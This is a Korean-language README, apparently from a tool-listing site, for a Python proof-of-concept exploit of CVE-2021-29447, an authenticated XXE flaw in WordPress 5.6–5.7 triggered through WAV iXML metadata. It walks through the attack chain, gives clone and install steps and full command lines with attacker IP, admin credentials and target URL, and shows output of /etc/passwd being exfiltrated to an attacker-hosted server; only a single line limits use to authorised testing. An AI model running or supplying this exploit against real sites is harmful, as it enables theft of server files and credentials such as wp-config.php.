CVE-2021-29447 인증된 XXE 익스플로잇 for WordPress 🎯

Python PoC로 WordPress 5.6–5.7 버전의 인증된 XXE 취약점(CVE-2021-29447)을 WAV 메타데이터를 통해 익스플로잇합니다. WAV 파일의 iXML 청크를 악용하여 중요한 데이터(예: /etc/passwd, wp-config.php 등)를 Out-of-Band (OOB) 방식으로 유출하여 dump/ 디렉토리로 바로 전송합니다.

작동 원리 🔍

이 스크립트는 WordPress가 WAV 메타데이터를 파싱하는 방식의 XML 외부 엔티티 (XXE) 결함을 활용합니다:

1. WAV 생성: 악성 WAV 파일을 생성하여, 사용자 시스템의 원격 DTD를 참조하는 iXML 청크를 내장합니다.
2. DTD 호스팅: HTTP 서버를 시작(또는 자체 서버 사용)하여 조작된 DTD를 제공합니다. DTD는 WordPress에 대상 파일(예: /etc/passwd)을 읽고 Base64로 인코딩하도록 지시합니다.
3. 파일 업로드: WordPress에 인증하고 미디어 업로드 nonce를 검색한 후, 미디어 라이브러리를 통해 WAV를 업로드합니다.
4. OOB 유출: WordPress가 WAV를 파싱하고 DTD를 가져온 후, Base64 데이터를 포함한 콜백을 사용자 서버로 보냅니다. 스크립트는 이를 디코딩하여 dump/에 기록합니다.

주요 기능 ⚡

• 대화형 모드 (-i): CTRL+C까지 파일 경로를 입력받음 – 임시 탐색에 유용.
• 워드리스트 모드 (-w <file>): 목록에서 수십 개의 파일 경로를 일괄 처리.
• HTTP 서버 건너뛰기 (--no-http): 내장 서버 대신 자체 웹서버 사용.
• 디버그 모드 (--debug): 상세한 HTTP 및 내부 디버그 로그 확인.
• 깔끔하고 색상화된 로그: 접두사 레이블([CONFIG], [UPLOAD], [DUMP], [WARN], [ERROR])로 빠른 상태 확인.
• 구성 가능한 타임아웃: 각 유출에 대해 최대 6초 대기 후 계속 진행.

설치 🛠️

1. 저장소 복제:
   root@kitploit:~

   git clone https://github.com/Tea-On/CVE-2021-29447-Authenticated-XXE-WordPress-5.6-5.7.git
   cd CVE-2021-29447-Authenticated-XXE-WordPress-5.6-5.7
   

2. Python 종속성 설치:
   root@kitploit:~

   pip3 install requests
   

🧾 인수 참조

사용 예시 💥

대화형 모드

python3 exploit_CVE-2021-29447.py \
  -H 10.10.14.8 -p 8080 \
  -u admin -P p@ssw0rd \
  -d http://vulnerable.local -i

[CONFIG] Interactive mode (CTRL+C to exit)
File> /etc/passwd
[CONFIG] DTD written: dtd/L2V0Yy9wYXNzd2Q=.dtd
[CONFIG] WAV built
[INFO] Nonce: d87f00a552
[DUMP] Dumped: dump/passwd
[UPLOAD] Upload ok (200)
[UPLOAD] URL: http://vulnerable.local/wp-content/uploads/payload.wav
File>

워드리스트 모드

python3 exploit_CVE-2021-29447.py \
  -H 10.10.14.8 -p 8080 \
  -u admin -P p@ssw0rd \
  -d http://vulnerable.local -w wordlist.txt

[CONFIG] Loaded 4 paths from "wordlist.txt"
[CONFIG] Using HTTP server at 10.10.14.8:8080
[CONFIG] Starting batch exfiltration...
[DUMP] [/etc/passwd] → dump/passwd
[WARN] No exfil for /etc/hostname within 6s, continuing
[UPLOAD] Upload ok (200)
[ERROR] Upload fail (502) on "/nonexistent"

서버 없음 & 디버그

python3 exploit_CVE-2021-29447.py \
  -H 10.10.14.8 -p 8080 \
  -u admin -P p@ssw0rd \
  -d http://vulnerable.local --no-http --debug -w wordlist.txt

자체 HTTP 서버를 사용하여 dtd/를 호스팅하고 콜백을 캡처하세요. 디버그 로그는 [DEBUG]로 나타납니다.

출력 디렉토리 📂

• dtd/ – 대상에 제공된 생성된 DTD 파일.
• dump/ – 디코딩된 파일 내용, 원래 경로 이름으로 저장.

팁 & 요령 💡

• 타임아웃 조정: 느린 네트워크를 위해 EXFIL_TIMEOUT 변수 변경 (기본 6초).
• 디버그 사용: 인증, 업로드 또는 콜백 문제 진단을 위해 --debug 활성화.

책임 있는 공개 & 라이선스 🔐

이 도구는 소유하고 있거나 테스트할 명시적 권한이 있는 시스템에서만 사용하세요.

MIT 라이선스에 따라 라이선스가 부여됩니다. 기여 환영합니다—해킹을 윤리적이고 재미있게 유지합시다! ✨